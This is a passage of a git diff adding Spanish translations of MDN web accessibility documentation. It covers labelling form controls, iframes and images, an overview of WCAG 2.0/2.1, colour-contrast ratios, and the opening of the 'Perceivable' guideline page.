+ <li><a href="https://www.w3.org/TR/wai-aria-1.2/#dialog">WAI-ARIA: dialog role</a></li>
+ <li><a href="https://www.w3.org/TR/wai-aria-practices/#dialog_roles_states_props">Dialog authoring practices</a></li>
+</ul>
+
+<h2 id="Los_documentos_deben_tener_un_título">Los documentos deben tener un título</h2>
+
+<p>Es importante que cada documento HTML, incluya un elemento {{htmlelement("title")}} que describa el propósito de la página. Una técnica común de navegación para usuarios que usan tecnologías asistivas es inferir el contenido de la página leyendo su título. Si no hay título disponible, tienen que navegar por la página para determinar su contenido, lo cual puede ser un proceso largo y confuso.</p>
+
+<h3 id="Ejemplos_3">Ejemplos</h3>
+
+<p>El título para el artículo de refencia sobre el elemento {{htmlelement("title")}} es como sigue:</p>
+
+<pre>&lt;title&gt;&amp;lt;title&amp;gt;: The Document Title element - HTML: Hypertext Markup Language | MDN&lt;/title&gt;</pre>
+
+<p>Otro ejemplo podría ser:</p>
+
+<pre>&lt;title&gt;Fill in your details to register — myGov services&lt;/title&gt;</pre>
+
+<p>Para ayudar al usuario, se puede actualizar el titulo de la página para reflejar cambios significativos al estado de la página (como problemas en la validación de un formulario):</p>
+
+<pre>&lt;title&gt;2 errors — Fill in your details to register — myGov services&lt;/title&gt;</pre>
+
+<h3 id="Ver_también_3">Ver también</h3>
+
+<ul>
+ <li>{{htmlelement("title")}}</li>
+</ul>
+
+<h2 id="Contenido_incrustado_debe_ser_etiquetado">Contenido incrustado debe ser etiquetado</h2>
+
+<p>Asegurarse que elementos que incrusten contenido tengan un atributo título que describa el contenido incrustado. Esto incluye al elemento {{htmlelement("embed")}} y al elemento {{htmlelement("object")}}. Estos elementos son usualmente definidos por un contenido gráfico, similar a un elemento {{HTMLelement("img")}}. Un título descriptivo ayuda a los usuarios de tecnologías asistivas entender que muestra el elemento.</p>
+
+<h2 id="Figuras_con_leyendas_opcionales_deberían_ser_etiquetadas">Figuras con leyendas opcionales deberían ser etiquetadas</h2>
+
+<p>Para una mejor accesibilidad, incluir un {{HTMLElement("figcaption")}} dentro de un elemento {{HTMLElement("figure")}}, incluso si hacerlo es opcional técnicamente. La leyenda es adicional a cualquier texto alternativo en las imágenes dentro de la figura. La leyenda describe el proósito de una figura en el documento, que puede ser diferente de una descripción sencilla de un elemento visual, tal como lo proporciona el texto alternativo.</p>
+
+<h3 id="Ejemplo">Ejemplo</h3>
+
+<p>El siguiente ejemplo muestra código para una figura con un pie de página. El atributo <code>alt</code> del elemento {{htmlelement("img")}} describe la apariencia de la imagen; el elemento {{htmlelement("figcaption")}} lo describe desde una perspectiva funcional (en este caso, el nombre en latín de la flor de la imagen).</p>
+
+<pre>&lt;figure&gt;
+  &lt;img src="milkweed.jpg"
+      alt="Black and white close-up photo of milkweed flowers"&gt;
+ &lt;figcaption&gt;Asclepias verticillata&lt;/figcaption&gt;
+&lt;/figure&gt;
+</pre>
+
+<h2 id="Los_elementos_de_un_conjuto_campos_deben_ser_etiquetados">Los elementos de un conjuto campos deben ser etiquetados</h2>
+
+<p>Los elementos de un conjunto de campos (fieldset) deben tener un texto descriptivo, similar a otros elementos del formulario. Utilice el elemento {{htmlelement("legend")}} para describir el propósito de un conjunto de campos (fieldset).</p>
+
+<h2 id="Utilizar_una_leyenda_para_etiquetar_un_conjunto_de_campos">Utilizar una leyenda para etiquetar un conjunto de campos</h2>
+
+<p>Al agrupar un conjunto de elementos de un formulario con un elemento {{htmlelement("fieldset")}}, se debería incluir un elemento {{htmlelement("legend")}} anidado dento de éste, conteninedo una clara descripción del grupo.</p>
+
+<p>Usuarios de tecnologías asistivas encuentras esta descripción útil cuando tratan de entender el propósito del grupo. Sin la leyenda, tienen que navegar individualmente por todos los controles del formulario en el grupo para inferir una idea del propósito general, lo que puede resultar confuso.</p>
+
+<h3 id="Ejemplo_2">Ejemplo</h3>
+
+<pre>&lt;form&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Choose your favorite monster&lt;/legend&gt;
+
+    &lt;input type="radio" id="kraken" name="monster"&gt;
+    &lt;label for="kraken"&gt;Kraken&lt;/label&gt;&lt;br/&gt;
+
+    &lt;input type="radio" id="sasquatch" name="monster"&gt;
+    &lt;label for="sasquatch"&gt;Sasquatch&lt;/label&gt;&lt;br/&gt;
+
+    &lt;input type="radio" id="mothman" name="monster"&gt;
+    &lt;label for="mothman"&gt;Mothman&lt;/label&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<p>Puede ver un ejemplo interactivo en la <a href="/en-US/docs/Web/HTML/Element/fieldset"> página de referencia de <code>&lt;fieldset&gt;</code></a>.</p>
+
+<h3 id="Ver_también_4">Ver también</h3>
+
+<ul>
+ <li>{{htmlelement("fieldset")}}</li>
+ <li>{{htmlelement("legend")}}</li>
+</ul>
+
+<h2 id="Los_elementos_de_un_formulario_deben_estar_etiquetados">Los elementos de un formulario deben estar etiquetados</h2>
+
+<p>Todos los elementos dentro de un formulario deben tener un elemento {{htmlelement("label")}} que identifique su propósito. Esto aplica a todos los tipos de elementos {{htmlelement("input")}}, como también para elementos {{htmlelement("button")}}, {{htmlelement("output")}}, {{htmlelement("select")}}, {{htmlelement("textarea")}}, {{htmlelement("progress")}} y {{htmlelement("meter")}}, como para cualquier elemento con el <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Switch_role"> ARIA role</a> <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Switch_role"><code>switch</code></a>.</p>
+
+<p>El elemento del formulario puede ser puesto dentro de un elemento {{htmlelement("label")}}, en cuyo caso la asociación entre el elemento del formulario y la etiqueta es obvia por la estructura. O, se puede crear una asociación entre un {{htmlelement("label")}} y el elemento del formulario al especificar el valor <code>id</code> del elemento del formulario y el valor del atributo <code>for</code> de la etiqueta.</p>
+
+<h3 id="Ejemplos_4">Ejemplos</h3>
+
+<pre>&lt;label&gt;I agree to the terms and conditions.
+  &lt;input type="checkbox" id="terms"&gt;
+&lt;/label&gt;
+
+&lt;input type="checkbox" id="emailoptin"&gt;
+&lt;label for="emailoptin"&gt;Yes, please send me news about this product.&lt;/label&gt;
+</pre>
+
+<h2 id="Los_elementos_de_un_formulario_deberían_tener_una_etiqueta_de_texto_visible">Los elementos de un formulario deberían tener una etiqueta de texto visible</h2>
+
+<p>En adición a tener un elemento {{htmlelement("label")}} para cada elemento del formulario, estas etiquetas deberían ser visibles, no ocultarse. Las etiquetas visbles ayudan a <em>todos</em> los usuarios entender el propósito de un elemento de formulario. No dependa de un texto temporal porque éste desaparece tan pronto como el usuario empieza a escribir.</p>
+
+<h2 id="Los_elementos_marco_frame_deben_estar_etiquetados">Los elementos marco ('frame') deben estar etiquetados</h2>
+
+<p>Los elementos marco ('frame'), tanto {{htmlelement("iframe")}} como el obsoleto y antiguo {{htmlelement("frame")}}, deben tener un título para describir el contenido del marco. Utilice el atributo <code>title</code> para etiquetar un elemento 'frame'. Sin un título, los usuarios que usen una tecnología asistiva tienen que navegar dentro del marco para entender que contiene, lo que puede ser difícil y confuso. </p>
+
+<p>El elemento <code>&lt;frame&gt;</code> ya no forma parte de la especificación HTML en la versión HTML5. El soporte podría ser abandonado por los navegadores en el futuro. Además, es difícil para los lectores de pantalla el navegar páginas con elementos <code>&lt;frame&gt;</code>. Para una mejor accesibilidad y mantenimiento futuro, se debe rediseñar cualquier página que use marcos y reemplazarlos con el uso de CSS para lograr un diseño similar.</p>
+
+<p>Como una mejor práctica, también proporcionar un {{htmlelement("title")}} para el documento que esta encapsulado en el marco, con un contenido identico al atributo <code>title</code> del marco. (Esto asumiendo que el documento encapsulado esta en control de uno, si no, tratar de coincidir el atributo <code>title</code> del marco con el título del documento.) Algunos lectores de pantalla reemplazan el contenido del atributo <code>title</code> con el contenido del {{htmlelement("title")}} del documento encapsulado. Es más seguro y más accesible el proporcionar el mismo título en ambos lugares.</p>
+
+<h3 id="Ejemplos_5">Ejemplos</h3>
+
+<pre>&lt;iframe
+    title="MDN Web docs"
+    width="300"
+    height="200"
+    src="https://developer.mozilla.org"&gt;
+&lt;/iframe&gt;
+
+</pre>
+
+<h2 id="Usar_el_atributo_alt_para_etiquetar_elementos_mglyph">Usar el atributo alt para etiquetar elementos mglyph</h2>
+
+<p>Al escribir ecuaciones con MathML, a cada elemento {{mathmlelement("mglyph")}} se le debe asignar el atributo <code>alt</code> conteniendo un nombre que describa el símbolo. Puesto que los elementos <code>mglyph</code> son usados para símbolos no estándar sin definiciones Unicode, los lectores de pantalla no serán capaces de automáticamente nombrarlos. El texto alternativo ayuda a los usuarios de lectores de pantalla entender el símbolo.</p>
+
+<h2 id="Los_encabezados_deben_ser_etiquetados">Los encabezados deben ser etiquetados</h2>
+
+<p>Asegurarse que los encabezados tengan un contenido no vacío y no estén ocultos como con el CSS <code>display:none</code> o <code>aria-hidden=true</code>. Los usuarios de lectores de pantalla confían en los encabezados para entender la estructura y el contenido de un documento.</p>
+
+<p>Además, es importante usar los <a href="/en-US/docs/Web/HTML/Element/Heading_Elements">elementos de encabezado</a> sólo para los encabezados de sección reales, y no como una forma rápida de hacer que el texto se destaque. Los lectores de pantalla suelen "hojear" los encabezados de una página, de manera muy parecida a los usuarios con visión, el texto que no sea encabezado que se marca con elementos de encabezamiento puede causar confusión.</p>
+
+<h2 id="Los_encabezados_deberían_tener_contenido_de_texto_visible">Los encabezados deberían tener contenido de texto visible</h2>
+
+<p>Asegurarse que los encabezados tengan un contenido no vacío y no estén ocultos como con el CSS <code>display:none</code> or <code>aria-hidden=true</code>. Los usuarios de lectores de pantalla confían en los encabezados para entender la estructura y el contenido de un documento. No use encabezados para marcar imágenes u otro contenido gráfico.</p>
+
+<h2 id="Utilizar_el_atributo_title_para_describir_el_contenido_de_un_&lt;iframe>">Utilizar el atributo title para describir el contenido de un &lt;iframe&gt;</h2>
+
+<p>Asegurarse que los elementos {{htmlelement("iframe")}} tienen un atributo <code>title</code> para describir el contenido de un marco. Sin un título, los usuarios de tecnologías asistivas tienen que navegar dentro del marco para entender que contiene, lo que puede ser difícil y confuso. </p>
+
+<p>Una mejor práctica consiste en proveer un {{htmlelement("title")}} al documento encapsulado por el marco, con un contenido identico al atributo <code>title</code> del marco. (Asumiendo que el documento encapsulado es propio, si no, tratar de hacer coincidir el atributo <code>title</code> del marco con el título del documento.) Algunos lectores de pantalla reemplazan el contenido del atributo <code>title</code> con el contenido del {{htmlelement("title")}} del documento encapsulado. Es más seguro y accesible definir el mismo título en ambos lugares.</p>
+
+<h2 id="Contenido_con_imágenes_deben_ser_etiquetados">Contenido con imágenes deben ser etiquetados</h2>
+
+<p>Proporcionar un texto descriptivo para todas las imágenes y elementos parecidos a imágenes que tengan contenido (es decir que no sean decorativos. Esto incluye imágenes SVG, elementos {{htmlelement("img")}}, {{htmlelement("canvas")}}, {{htmlelement("map")}}, y {{htmlelement("area")}}, así como elementos {{htmlelement("input")}} donde este definido <code>type=image</code> y elementos {{htmlelement("object")}} donde el <code>type</code> empiece con <code>image/</code>. La forma típica de hacer esto es con el atributo <code>alt</code>. Asegurarse de que la descripción trasmite lo que muestra la imagen</p>
+
+<h3 id="Ejemplo_3">Ejemplo</h3>
+
+<pre>&lt;img src="milkweed.jgp"
+     alt="Black and white close-up photo of milkweed flowers"&gt; </pre>
+
+<h2 id="Elementos_interactivos_deben_ser_etiquetados">Elementos interactivos deben ser etiquetados</h2>
+
+<p>Si un elemento esta destinado para que los usuarios interactúen con él, debe estar etiquetado. Los elementos interactivos incluyen enlaces ({{htmlelement("a")}}), elementos de un formulario, botones, y cualquier elemento que tenga manejadores de eventos para ratón o teclado. La forma para etiquetar un elemento depende de su tipo: para elementos de un formulario, utilizar un {{htmlelement("label")}}; para enlaces, botones y elementos sobre los que se puede hacere click, el contenido del texto del elemento suele proporcionar la etiqueta. Si no existe otra opción para etiquetar un elemento, utilizar el atributo <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute">aria-label</a></code>.</p>
+
+<h2 id="Usar_el_atributo_label_en_elementos_optgroup">Usar el atributo label en elementos optgroup</h2>
+
+<p>En un elemento {{htmlelement("optgroup")}}, utilizar el atributo <code>label</code> para describir el gupo para que tecnologías asistivas puedan acceder a dicha descripción para sus usuarios.</p>
+
+<h3 id="Ejemplo_4">Ejemplo</h3>
+
+<p>En este ejemplo, el atributo <code>label</code> en los elementos <code>&lt;optgroup&gt;</code> da un nombre de categoría para el grupo de opciones.</p>
+
+<pre>&lt;label for="dino-select"&gt;Choose a dinosaur:&lt;/label&gt;
+&lt;select id="dino-select"&gt;
+    &lt;optgroup label="Theropods"&gt;
+        &lt;option&gt;Tyrannosaurus&lt;/option&gt;
+        &lt;option&gt;Velociraptor&lt;/option&gt;
+        &lt;option&gt;Deinonychus&lt;/option&gt;
+    &lt;/optgroup&gt;
+    &lt;optgroup label="Sauropods"&gt;
+        &lt;option&gt;Diplodocus&lt;/option&gt;
+        &lt;option&gt;Saltasaurus&lt;/option&gt;
+        &lt;option&gt;Apatosaurus&lt;/option&gt;
+    &lt;/optgroup&gt;
+&lt;/select&gt;</pre>
+
+<h2 id="Las_barras_de_herramientas_deben_ser_etiquetadas_cuando_haya_más_de_una_barra">Las barras de herramientas deben ser etiquetadas cuando haya más de una barra</h2>
+
+<p>Si se define más una barra de herramientas en una aplicación web utilizando el rol ARIA <code>toolbar</code>, se debe usar el atributo <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute">aria-label</a></code> para etiquetar cada una de ellas de manera que pueda ser descrita por la tecnología de asistencia. Es una buena práctica etiquetar una barra de herramientas aún cuando solo haya una en la página</p>
+
+<h3 id="Ver_también_5">Ver también</h3>
+
+<ul>
+ <li><a href="https://www.w3.org/TR/wai-aria-practices/examples/toolbar/toolbar.html">Ejemplo de una barra de herramienta W3C ARIA (W3C ARIA toolbar example)</a></li>
+</ul>
+
+<h2 id="Criterios_de_aprobación_relacionados_a_WCAG">Criterios de aprobación relacionados a WCAG</h2>
+
+<dl>
+ <dt><a href="https://www.w3.org/TR/WCAG21/#non-text-content">1.1.1 Contenido no textual (A)</a></dt>
+ <dd>Todo contenido no textual que es presentado al usuario tiene un texto alternativo que sirve un propósito similar, excepto para las situaciones listadas en el enlace anterior.</dd>
+ <dt><a href="https://www.w3.org/TR/WCAG21/#link-purpose-in-context">2.4.4 Propósito del enlace (en contexto) (A)</a></dt>
+ <dd>El propósito de cada enlace puede determinarse a partir del texto del enlace o del texto del enlace en conjunto con contexto determinado programáticamente, salvo cuando el propósito del enlace sea ambiguo para los usuarios en general.</dd>
+ <dt><a href="https://www.w3.org/TR/WCAG21/#link-purpose-link-only">2.4.9 Propósito del enlace (sólo el enlace) (AAA)</a></dt>
+ <dd>Se dispone de un mecanismo que permite identificar el propósito de cada enlace a partir del texto del enlace solamente, excepto cuando el propósito del enlace es ambiguo para los usuarios en general.</dd>
+</dl>
diff --git a/files/es/web/accesibilidad/understanding_wcag/index.html b/files/es/web/accesibilidad/understanding_wcag/index.html
new file mode 100644
index 0000000000..f58fae9c48
--- /dev/null
+++ b/files/es/web/accesibilidad/understanding_wcag/index.html
@@ -0,0 +1,56 @@
+---
+title: Understanding the Web Content Accessibility Guidelines
+slug: Web/Accesibilidad/Understanding_WCAG
+translation_of: Web/Accessibility/Understanding_WCAG
+---
+<p class="summary">Esto es parte de un grupo de artículos que explican rápidamente los pasos necesario para cumplir con la normativa de W3C Web Content Accessibility Guides 2.0 o 2.1 (también conocida como WCAG).</p>
+
+<p>La norma WCAG 2.0 y 2.1 provee unas guías detalladas para lograr que el contenido de nuestro sitio sea accesible para personas con distintos tipos de discapacidades. Es exhaustivo y muy detallado, por lo que cuesta comprenderlo rápidamente. Por esta razón, hemos resumido los pasos a seguir para que puedas cumplir con las diferentes recomendaciones e incluimos links al pie para más detalles en los lugares necesarios.</p>
+
+<h2 id="Los_cuatro_principios">Los cuatro principios</h2>
+
+<p>La normativa WCAG tiene cuatro secciones, cuatro categorías en las cuales el contenido <strong>debe</strong> ser accesible (para más información puedes referirte a <a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/intro.html#introduction-fourprincs-head">Understanding the Four Principles of Accessibility (inglés)</a>).</p>
+
+<p>Cada uno de los siguientes enlaces te llevarán a páginas en las que podrás expandir tu conocimiento en cada una de las áreas de WCAG 2.0 y 2.1.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Perceivable">Perceptible:</a> Los usuarios deben poder percibir el contenido de alguna forma, a través de alguno de sus sentidos.</li>
+ <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Operable">Operable</a>: Los usuarios deben poder controlar los elementos de interfaz (por ejemplo, se deben poder cliquear botones de alguna forma, ya sea utilizando el ratón, teclado o comando de voz).</li>
+ <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Understandable">Comprensible</a>: El contenido debe ser comprensible para los usuarios.</li>
+ <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Robust">Robusto</a>: El contenido debe ser desarrollado utilizando estándares actuales que funcionarán en todos los navegadores del momento, hoy y en el futuro.</li>
+</ul>
+
+<h2 id="Debo_usar_WCAG_2.0_o_2.1">Debo usar WCAG 2.0 o 2.1?</h2>
+
+<p>WCAG 2.1 es el estándar más reciente y relevante. Utilízalo para mejorar la calidad de navegación de los usuarios con discapacidades y para reducir las posibles acciones legales a los dueños del sitio web.</p>
+
+<p>Al momento de asignar recursos, ten como objetivo WCAG 2.0, luego sube a 2.1.</p>
+
+<h3 id="¿Qué_es_WCAG_2.1">¿Qué es WCAG 2.1?</h3>
+
+<p>WCAG 2.1 fue publicado el 5 de junio de 2018 como recomendación oficial. La Unión Europea (EU) lo adoptó como estándar en septiembre de ese mismo año. La W3C publicó un <a href="https://www.w3.org/blog/2018/09/wcag-2-1-adoption-in-europe/">anuncio de prensa al respecto</a>.</p>
+
+<p>WCAG 2.1 incluye:</p>
+
+<ul>
+ <li>Toda la normativa WCAG 2.0 (literal, palabra-por-palabra)</li>
+ <li>17 nuevos Criterios de Conformidad en los niveles A / AA / AAA que se enfocan principalmente en las siguientes necesidades:
+  <ul>
+   <li>Accessbilidad móvil</li>
+   <li>Baja visión</li>
+   <li>Cognitivas</li>
+  </ul>
+ </li>
+ <li>Lee más sobre WCAG 2.1 (en inglés):
+  <ul>
+   <li>Deque: <a href="https://www.deque.com/blog/wcag-2-1-what-is-next-for-accessibility-guidelines/">WCAG 2.1:  What is Next for Accessibility Guidelines</a></li>
+   <li>TPG:  <a href="https://developer.paciellogroup.com/blog/2018/06/web-content-accessibility-guidelines-wcag-2-1/">Web Content Accessibilituy Guidelines (WCAG) 2.1</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Legal">Legal</h2>
+
+<p>Esta guía tiene como objetivo proveer información para que puedas construir mejores sitios, más accesibles. Sin embargo, no somos abogados y nada de esto es un asesoramiento legal. Si estás preocupado/a por las implicaciones legales de la accesibilidad web recomendamos que investigues la legislación de tu país o que consultes a un abogado calificado.</p>
+
+<p><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">¿Qué es la accesibilidad?</a> y <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_guidelines_and_the_law">guías de accesibilidad y sobre la ley</a> proveen más información al respecto (en inglés).</p>
diff --git a/files/es/web/accesibilidad/understanding_wcag/perceivable/color_contraste/index.html b/files/es/web/accesibilidad/understanding_wcag/perceivable/color_contraste/index.html
new file mode 100644
index 0000000000..2db0f4e251
--- /dev/null
+++ b/files/es/web/accesibilidad/understanding_wcag/perceivable/color_contraste/index.html
@@ -0,0 +1,162 @@
+---
+title: Contraste del color
+slug: Web/Accesibilidad/Understanding_WCAG/Perceivable/Color_contraste
+tags:
+  - Accesibilidad
+  - Perceptible
+  - contraste
+translation_of: Web/Accessibility/Understanding_WCAG/Perceivable/Color_contrast
+---
+<p>El <a href="https://www.w3.org/TR/WCAG21/#dfn-contrast-ratio">contraste del color</a> entre el fondo y el contenido del primer plano (que suele ser texto) debe ser lo suficientemente alto como para garantizar la legibilidad.</p>
+
+<p>Al diseñar interfaces legibles para diferentes capacidades de visión, las directrices de la WCAG recomiendan las siguientes relaciones de contraste:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Tipo de contenido</th>
+   <th scope="col">Relación mínima (nivel AA)</th>
+   <th scope="col">Relación mejorada (nivel AAA)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Cuerpo de texto</td>
+   <td>4.5 : 1</td>
+   <td>7 : 1</td>
+  </tr>
+  <tr>
+   <td>Texto a gran escala (120-150% mayor que el cuerpo de texto)</td>
+   <td>3 : 1</td>
+   <td>4.5 : 1</td>
+  </tr>
+  <tr>
+   <td>Componentes activos de la interfaz de usuario y objetos gráficos como iconos y gráficos</td>
+   <td>3 : 1</td>
+   <td>No definido</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Estas proporciones no se aplican al texto "incidental", como controles inactivos, logotipos o texto puramente decorativo.</p>
+
+<p>Consulta la sección {{anch("Solución")}} a continuación para obtener más información.</p>
+
+<p>Tener un buen contraste de color en tu sitio web beneficia a todos tus usuarios, pero es particularmente beneficioso para los que tienen cierto tipo de ceguera al color y otras afecciones similares, como los que experimentan una baja sensibilidad al contraste y tienen dificultades para diferenciar colores parecidos. Esto se debe a que no distinguen las áreas brillantes y oscuras con tanta facilidad como las personas que no tienen esa discapacidad, y por lo tanto tienen problemas para ver los bordes y otros detalles.  </p>
+
+<p>Es bueno tener un diseño atractivo en tu sitio web, pero el diseño es inútil si tus usuarios no pueden leer el contenido.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Veamos algunos ejemplos simples con código HTML y CSS:</p>
+
+<pre class="brush: html notranslate">&lt;div class="good"&gt;Buen contraste&lt;/div&gt;
+&lt;div class="bad"&gt;Mal contraste&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">div {
+  /* General div styles here */
+}
+
+.good {
+  background-color: #fae6fa;
+}
+
+.bad {
+  background-color: #400064;
+}</pre>
+
+<p>Ambos fragmentos de texto tienen color negro por defecto. El <code>&lt;div&gt;</code> "good" tiene un color de fondo púrpura claro, lo que hace que el texto sea fácil de leer:</p>
+
+<div class="hidden">
+<h4 id="example1">example1</h4>
+
+<pre class="brush: html notranslate">    &lt;div class="good"&gt;
+      Good contrast
+    &lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">div {
+  font-family: sans-serif;
+  text-align: center;
+  font-size: 2rem;
+  font-weight: bold;
+  width: 250px;
+  padding: 30px;
+  border-radius: 20px;
+  box-shadow: 1px 1px 1px black;
+}
+
+.good {
+  background-color: #fae6fa;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample('example1', '100%', '100')}}</p>
+
+<p>El <code>&lt;div&gt;</code> "bad", por otro lado, tiene un color de fondo púrpura muy oscuro, lo que hace que el texto sea mucho más difícil de leer:</p>
+
+<div class="hidden">
+<h4 id="example2">example2</h4>
+
+<pre class="brush: html notranslate">    &lt;div class="bad"&gt;
+      Bad contrast
+    &lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">div {
+  font-family: sans-serif;
+  text-align: center;
+  font-size: 2rem;
+  font-weight: bold;
+  width: 250px;
+  padding: 30px;
+  border-radius: 20px;
+  box-shadow: 1px 1px 1px black;
+}
+
+.bad {
+  background-color: #400064;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample('example2', '100%', '100')}}</p>
+
+<dl>
+</dl>
+
+<h2 id="Solución">Solución</h2>
+
+<p>Al elegir un esquema de color para tu sitio web, selecciona colores de primer plano y de fondo que tengan un buen contraste. Haz que el contraste de color sea lo mejor posible dentro de las limitaciones de tu diseño — preferiblemente elige el nivel AAA (ver 1.4.6 más abajo), pero al menos cumple con el nivel AA (ver 1.4.3 más abajo).</p>
+
+<p>Si incluyes contenido no textual, como vídeo o animación, debes seguir 1.4.11 (nuevamente, ver más abajo).</p>
+
+<p>Para verificar el contraste a medida que seleccionas los colores puedes utlizar una herramienta como <a class="external external-icon" href="http://webaim.org/resources/contrastchecker/" rel="noopener">Color Contrast Checker</a> de WebAIM.</p>
+
+<p>También puedes comprobar el contraste de color sobre la marcha utilizando las herramientas para desarrolladores de Firefox— ver nuestra guía <a href="/en-US/docs/Tools/Accessibility_inspector">Accessibility inspector</a>, y en particular la sección <a href="/en-US/docs/Tools/Accessibility_inspector#Check_for_accessibility_issues">Check for accessibility issues</a>. Prueba a usarlo en los ejemplos en vivo en la sección de descripción.</p>
+
+<h2 id="Criterios_de_conformidad_relacionados_con_WCAG">Criterios de conformidad relacionados con WCAG</h2>
+
+<dl>
+ <dt><a href="https://www.w3.org/TR/WCAG21/#contrast-minimum">1.4.3 Contraste mínimo (AA)</a></dt>
+ <dd>El contraste de color entre el fondo y el contenido del primer plano debe tener un nivel mínimo para garantizar la legibilidad:
+ <ul>
+  <li>El texto y el fondo deben tener una relación de contraste de al menos 4.5:1.</li>
+  <li>Los encabezados (o simplemente el texto más grande) deben tener una relación de contraste de al menos 3:1. El texto más grande se define como de al menos 18pt, o 14pt en negrita.</li>
+ </ul>
+ </dd>
+ <dt><a href="https://www.w3.org/TR/WCAG21/#contrast-enhanced">1.4.6 Contraste mejorado (AAA)</a></dt>
+ <dd>Esto sigue y se basa en el criterio 1.4.3.
+ <ul>
+  <li>El texto y el fondo deben tener una relación de contraste de al menos 7:1.</li>
+  <li>Los encabezados (o simplemente el texto más grande) deben tener una relación de contraste de al menos 4.5:1.</li>
+ </ul>
+ </dd>
+ <dt><a href="https://www.w3.org/TR/WCAG21/#non-text-contrast">1.4.11 Contraste no textual (AA)</a> (añadido en 2.1)</dt>
+ <dd>Debe haber una relación mínima de contraste de color de 3 a 1 para los componentes de la interfaz de usuario y los objetos gráficos.</dd>
+</dl>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Color and color contrast</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form#Multiple_labels">Multiple labels</a></li>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">Understanding Non-Text Contrast</a></li>
+</ul>
diff --git a/files/es/web/accesibilidad/understanding_wcag/perceivable/index.html b/files/es/web/accesibilidad/understanding_wcag/perceivable/index.html
new file mode 100644
index 0000000000..6bf99039f8
--- /dev/null
+++ b/files/es/web/accesibilidad/understanding_wcag/perceivable/index.html
@@ -0,0 +1,336 @@
+---
+title: Perceivable
+slug: Web/Accesibilidad/Understanding_WCAG/Perceivable
+translation_of: Web/Accessibility/Understanding_WCAG/Perceivable
+---
+<p class="summary">Este artículo ofrece consejos prácticos sobre cómo hacer que tu sitio web cumpla con los criterios de <strong>Percepción</strong> de WCAG 2.0 y 2.1. Los estados perceptivos que los usuarios deben poder reconocer utilizando alguno de sus sentidos.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Para leer las definiciones de la W3C sobre Percepción y las guías para cumplir con los criterios dirígete a <a href="https://www.w3.org/TR/WCAG21/#perceivable">Principle 1: Perceivable - Information and user interface components must be presentable to users in ways they can perceive.</a></p>
+</div>
+
+<h2 id="Pauta_1.1_—_Dar_alternativas_de_texto_para_contenido_no_textual.">Pauta 1.1 — Dar alternativas de texto para contenido no textual.</h2>
+
+<p>La clave aquí es convertir el texto a otros formatos que puedan ser entendidos por personas con otras capacidades; ya sea si utilizan un screen-reader, zoom o un lector de braille. El contenido no textual se refiere a elementos multimedia como imágenes, audio y vídeo.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Criterio de éxito</th>
+   <th scope="col">Cómo cumplir</th>
+   <th scope="col">Recursos prácticos</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="5">1.1.1 Alternativas textuales  (A)</td>
+   <td>Toda imagen que sea útil para el usuario debe tener un texto alternativo.</td>
+   <td><a href="/en-US/docs/Learn/Accessibility/HTML#Text_alternatives">Texto alternativo.</a></td>
+  </tr>
+  <tr>
+   <td>
+    <p>Las imágenes complejas o gráficos deben tener una alternativa accesible, ya sea en al misma página o en una externa. Utiliza un elemento de link en vez del atributo <code>longdesc</code>.</p>
+   </td>
+   <td>
+    <p>Una alternativa textual o una tabla puede resolverlo (ver <a href="/en-US/docs/Learn/HTML/Tables/Advanced">HTML table advanced features and accessibility</a> y <a href="/en-US/docs/Learn/Accessibility/HTML#Other_text_alternative_mechanisms">Other text alternative mechanisms</a> para leer sobre el argumento en contra de <code>longdesc</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>El contenido multimedia (por ejemlo, audio o vídeo) debería tener por lo menos una descripción accesible disponible (captions o similar).</td>
+   <td>
+    <p>Ver <a href="/en-US/docs/Learn/Accessibility/HTML#Text_alternatives">alternativas de texto</a> para opciones de captions, y <a href="/en-US/docs/Learn/Accessibility/Multimedia#Audio_transcripts">Audio transcripts</a>, <a href="/en-US/docs/Learn/Accessibility/Multimedia#Video_text_tracks">Video text tracks</a> o <a href="/en-US/docs/Learn/Accessibility/Multimedia#Other_multimedia_content">Other multimedia content</a> para otras alternativas.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Los elementos de interfaz como botones o elementos de formulario deberán tener <code>label</code>s que describan su propósito.</td>
+   <td>Deberás asegurarte de que los botones describan su función (por ejemplo, <code>&lt;button&gt;Subir imagen&lt;/button&gt;</code>). Para más información ver <a href="/en-US/docs/Learn/Accessibility/HTML#UI_controls">UI controls</a>.</td>
+  </tr>
+  <tr>
+   <td>
